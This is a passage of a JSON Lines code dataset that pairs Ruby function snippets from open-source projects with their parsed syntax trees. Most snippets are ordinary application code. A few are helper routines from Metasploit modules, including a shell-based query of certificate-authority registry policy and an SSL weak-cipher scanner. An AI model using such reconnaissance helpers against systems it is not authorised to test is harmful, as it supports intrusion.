position,\\n\"]},{\"type\":\"str\",\"children\":[\"    duration_in_minutes,\\n\"]},{\"type\":\"str\",\"children\":[\"    work_package_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    item_type\\n\"]},{\"type\":\"str\",\"children\":[\"  )\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id_from_inserted_journal_sql\"]}]},{\"type\":\"str\",\"children\":[\",\\n\"]},{\"type\":\"str\",\"children\":[\"  agenda_items.id,\\n\"]},{\"type\":\"str\",\"children\":[\"  agenda_items.author_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  agenda_items.title,\\n\"]},{\"type\":\"str\",\"children\":[\"  agenda_items.notes,\\n\"]},{\"type\":\"str\",\"children\":[\"  agenda_items.position,\\n\"]},{\"type\":\"str\",\"children\":[\"  agenda_items.duration_in_minutes,\\n\"]},{\"type\":\"str\",\"children\":[\"  agenda_items.work_package_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  agenda_items.item_type\\n\"]},{\"type\":\"str\",\"children\":[\"FROM meeting_agenda_items agenda_items\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"only_if_created_sql\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  AND agenda_items.meeting_id = :journable_id\\n\"]}]},\"squish\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"journable_id\"]},{\"type\":\"send\",\"children\":[null,\"journable_id\"]}]}]}]}]}","id":"5537869c-5002-406d-a7ae-c81a08c6eacb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/flow/sign_up.rb","start_line":35,"raw_source":"def disable_sign_ups\n        Flow::Login.sign_in_as_admin\n        Page::Main::Menu.perform(&:go_to_admin_area)\n        Page::Admin::Menu.perform(&:go_to_general_settings)\n\n        Page::Admin::Settings::General.perform do |general_settings|\n          general_settings.expand_sign_up_restrictions do |signup_settings|\n            signup_settings.disable_signups\n            signup_settings.save_changes\n          end\n        end\n      end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_sign_ups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Flow\"]},\"Login\"]},\"sign_in_as_admin\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Main\"]},\"Menu\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"go_to_admin_area\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Admin\"]},\"Menu\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"go_to_general_settings\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Admin\"]},\"Settings\"]},\"General\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"general_settings\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"general_settings\"]},\"expand_sign_up_restrictions\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"signup_settings\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signup_settings\"]},\"disable_signups\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signup_settings\"]},\"save_changes\"]}]}]}]}]}]}","id":"87210ba3-472d-404f-aea7-c9f268289314"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/lfs_http_spec.rb","start_line":1272,"raw_source":"def put_authorize(verified: true)\n          authorize_headers = headers\n          authorize_headers.merge!(workhorse_internal_api_request_header) if verified\n\n          put authorize_url(project, sample_oid, sample_size), params: {}, headers: authorize_headers\n        end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"put_authorize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"verified\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"authorize_headers\",{\"type\":\"send\",\"children\":[null,\"headers\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verified\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorize_headers\"]},\"merge!\",{\"type\":\"send\",\"children\":[null,\"workhorse_internal_api_request_header\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"put\",{\"type\":\"send\",\"children\":[null,\"authorize_url\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"sample_oid\"]},{\"type\":\"send\",\"children\":[null,\"sample_size\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"authorize_headers\"]}]}]}]}]}]}","id":"a9e27c27-66c4-4490-a7bf-8dc69591d6ff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240912184158_queue_backfill_has_vulnerability_resolution.rb","start_line":26,"raw_source":"def down\n    Gitlab::Database::QueryAnalyzers::Base.suppress_schema_issues_for_decomposed_tables do\n      delete_batched_background_migration(MIGRATION, :vulnerability_reads, :id, [])\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"QueryAnalyzers\"]},\"Base\"]},\"suppress_schema_issues_for_decomposed_tables\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"delete_batched_background_migration\",{\"type\":\"const\",\"children\":[null,\"MIGRATION\"]},{\"type\":\"sym\",\"children\":[\"vulnerability_reads\"]},{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"e86b725f-f3dd-4739-be16-ab64c6d8700f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/when_then.rb","start_line":25,"raw_source":"def on_when(node)\n          return if node.multiline? || node.then? || !node.body\n\n          message = format(MSG, expression: node.conditions.map(&:source).join(', '))\n\n          add_offense(node.loc.begin, message: message) do |corrector|\n            corrector.replace(node.loc.begin, ' then')\n          end\n        end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_when\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"multiline?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"then?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expression\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"conditions\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"begin\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"begin\"]},{\"type\":\"str\",\"children\":[\" then\"]}]}]}]}]}","id":"4d5994d0-8fe8-4278-9a38-a7194f66a9c2"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/module/attr_internal.rb","start_line":5,"raw_source":"def attr_internal_reader(*attrs)\n    attrs.each { |attr_name| attr_internal_define(attr_name, :reader) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"attr_internal_reader\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"attrs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr_name\"]}]},{\"type\":\"send\",\"children\":[null,\"attr_internal_define\",{\"type\":\"lvar\",\"children\":[\"attr_name\"]},{\"type\":\"sym\",\"children\":[\"reader\"]}]}]}]}","id":"5a1a9f3e-a3d8-4604-bc59-67509c8a0eba"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/has_url.rb","start_line":11,"raw_source":"def extract_sha1(path)\n      data = extract_url(path)\n      return if data.blank?\n\n      sha1 = data[2]\n      return if sha1&.length != Upload::SHA1_LENGTH\n\n      sha1\n    end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_sha1\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"extract_url\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"sha1\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha1\"]},\"length\"]},\"!=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"SHA1_LENGTH\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvar\",\"children\":[\"sha1\"]}]}]}","id":"a0ae253f-0639-4cf7-ad75-d96cfc3ae132"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/rack-protection/lib/rack/protection/authenticity_token.rb","start_line":105,"raw_source":"def self.token(session, path: nil, method: :post)\n        new(nil).mask_authenticity_token(session, path: path, method: method)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]},{\"type\":\"kwoptarg\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"method\",{\"type\":\"sym\",\"children\":[\"post\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"nil\",\"children\":[]}]},\"mask_authenticity_token\",{\"type\":\"lvar\",\"children\":[\"session\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]}","id":"d9eebb72-ba2a-4aad-b1e6-b8dafad1033f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/lib/rails3_route_processor.rb","start_line":304,"raw_source":"def loose_action controller_name, verb = \"any\"\n    self.current_controller = controller_name.value\n    @tracker.routes[@current_controller] = [:allow_all_actions, {:allow_verb => verb}]\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"loose_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller_name\"]},{\"type\":\"optarg\",\"children\":[\"verb\",{\"type\":\"str\",\"children\":[\"any\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_controller=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller_name\"]},\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"routes\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@current_controller\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_all_actions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_verb\"]},{\"type\":\"lvar\",\"children\":[\"verb\"]}]}]}]}]}]}]}","id":"76e74928-7ede-4eae-8f2e-ec6c63165033"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/bulk/copy_service.rb","start_line":83,"raw_source":"def alter_work_package(work_package, attributes)\n        ancestors = {}\n        result = copy_with_updated_parent_id(work_package, attributes, ancestors)\n\n        work_package\n          .descendants\n          .order_by_ancestors(\"asc\")\n          .each do |wp|\n          copied = copy_with_updated_parent_id(wp, attributes, ancestors)\n\n          wp_map.store(wp.id, copied.result.id)\n\n          result.add_dependent!(copied)\n        end\n\n        result\n      end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"alter_work_package\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ancestors\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"copy_with_updated_parent_id\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]},{\"type\":\"lvar\",\"children\":[\"ancestors\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"descendants\"]},\"order_by_ancestors\",{\"type\":\"str\",\"children\":[\"asc\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"copied\",{\"type\":\"send\",\"children\":[null,\"copy_with_updated_parent_id\",{\"type\":\"lvar\",\"children\":[\"wp\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]},{\"type\":\"lvar\",\"children\":[\"ancestors\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wp_map\"]},\"store\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wp\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copied\"]},\"result\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"add_dependent!\",{\"type\":\"lvar\",\"children\":[\"copied\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"049583e1-4b0f-4994-8e9e-315909260431"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/vmware/vcenter_forge_saml_token.rb","start_line":89,"raw_source":"def username\n    datastore['USERNAME']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"username\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]}","id":"c59a7b38-c946-4804-aa23-d916c780875f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb","start_line":365,"raw_source":"def query_ca_policy_values(shell)\n    active_policy_name = run_registry_command(shell, 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\CertSvc\\\\Configuration\\\\*\\\\PolicyModules', 'Active')\n    disable_ext = run_registry_command(shell, 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\CertSvc\\\\Configuration\\\\*\\\\PolicyModules', 'DisableExtensionList', active_policy_name)\n    edit_flags = run_registry_command(shell, 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\CertSvc\\\\Configuration\\\\*\\\\PolicyModules', 'EditFlags', active_policy_name).to_i\n    { disable_extension_list: disable_ext, edit_flags: edit_flags }\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"query_ca_policy_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shell\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"active_policy_name\",{\"type\":\"send\",\"children\":[null,\"run_registry_command\",{\"type\":\"lvar\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\CertSvc\\\\Configuration\\\\*\\\\PolicyModules\"]},{\"type\":\"str\",\"children\":[\"Active\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"disable_ext\",{\"type\":\"send\",\"children\":[null,\"run_registry_command\",{\"type\":\"lvar\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\CertSvc\\\\Configuration\\\\*\\\\PolicyModules\"]},{\"type\":\"str\",\"children\":[\"DisableExtensionList\"]},{\"type\":\"lvar\",\"children\":[\"active_policy_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"edit_flags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_registry_command\",{\"type\":\"lvar\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\CertSvc\\\\Configuration\\\\*\\\\PolicyModules\"]},{\"type\":\"str\",\"children\":[\"EditFlags\"]},{\"type\":\"lvar\",\"children\":[\"active_policy_name\"]}]},\"to_i\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disable_extension_list\"]},{\"type\":\"lvar\",\"children\":[\"disable_ext\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"edit_flags\"]},{\"type\":\"lvar\",\"children\":[\"edit_flags\"]}]}]}]}]}","id":"72b3491e-3658-46af-9056-49abc4081669"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssl/ssl_version.rb","start_line":408,"raw_source":"def process_rex_sslscan_results(ip, scan_result)\n    # Report certificate if available\n    if scan_result.cert\n      process_certificate(ip, scan_result.cert)\n    end\n\n    # Process accepted ciphers by version\n    %i[SSLv2 SSLv3 TLSv1 TLSv1_1 TLSv1_2].each do |version|\n      accepted_ciphers = scan_result.accepted(version)\n      next if accepted_ciphers.empty?\n\n      print_good(\"#{ip}:#{rport} - #{version} supported with #{accepted_ciphers.length} cipher(s)\")\n\n      key_size = public_key_size(scan_result.cert)\n      if key_size > 0\n        if key_size == 1024\n          print_good('Public Key only 1024 bits')\n          report_vuln(\n            host: ip,\n            port: rport,\n            proto: 'tcp',\n            name: name,\n            info: \"Module #{fullname} confirmed certificate key size 1024 bits\",\n            refs: ['CWE-326']\n          )\n        elsif key_size < 1024\n          print_good('Public Key < 1024 bits')\n          report_vuln(\n            host: ip,\n            port: rport,\n            proto: 'tcp',\n            name: name,\n            info: \"Module #{fullname} confirmed certificate key size < 1024 bits\",\n            refs: ['CWE-326']\n          )\n        end\n      end\n\n      accepted_ciphers.each do |cipher_info|\n        cipher_name = cipher_info[:cipher]\n        key_length = cipher_info[:key_length]\n        is_weak = cipher_info[:weak]\n\n        # Report the cipher\n        print_status(\"  #{version}: #{cipher_name} (#{key_length} bits)#{is_weak ? ' - WEAK' : ''}\")\n\n        # Check for vulnerabilities using existing logic\n        check_vulnerabilities_enhanced(ip, version.to_s, cipher_name, scan_result.cert, is_weak)\n      end\n    end\n\n    # Report weak ciphers summary\n    weak_ciphers = scan_result.weak_ciphers\n    if weak_ciphers.any?\n      print_bad(\"#{ip}:#{rport} - #{weak_ciphers.length} weak cipher(s) detected\")\n    end\n\n    # Store comprehensive scan results in loot\n    store_rex_sslscan_results(ip, scan_result)\n  end","complexity_score":71.38,"ast_json":"{\"type\":\"def\",\"children\":[\"process_rex_sslscan_results\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]},{\"type\":\"arg\",\"children\":[\"scan_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan_result\"]},\"cert\"]},{\"type\":\"send\",\"children\":[null,\"process_certificate\",{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan_result\"]},\"cert\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"SSLv2\"]},{\"type\":\"sym\",\"children\":[\"SSLv3\"]},{\"type\":\"sym\",\"children\":[\"TLSv1\"]},{\"type\":\"sym\",\"children\":[\"TLSv1_1\"]},{\"type\":\"sym\",\"children\":[\"TLSv1_2\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"accepted_ciphers\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan_result\"]},\"accepted\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accepted_ciphers\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" supported with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accepted_ciphers\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" cipher(s)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key_size\",{\"type\":\"send\",\"children\":[null,\"public_key_size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan_result\"]},\"cert\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_size\"]},\"==\",{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Public Key only 1024 bits\"]}]},{\"type\":\"send\",\"children\":[null,\"report_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Module \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"str\",\"children\":[\" confirmed certificate key size 1024 bits\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CWE-326\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_size\"]},\"<\",{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Public Key < 1024 bits\"]}]},{\"type\":\"send\",\"children\":[null,\"report_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Module \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"str\",\"children\":[\" confirmed certificate key size < 1024 bits\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CWE-326\"]}]}]}]}]}]},null]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accepted_ciphers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cipher_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cipher_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cipher\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key_length\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key_length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"is_weak\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"weak\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\": 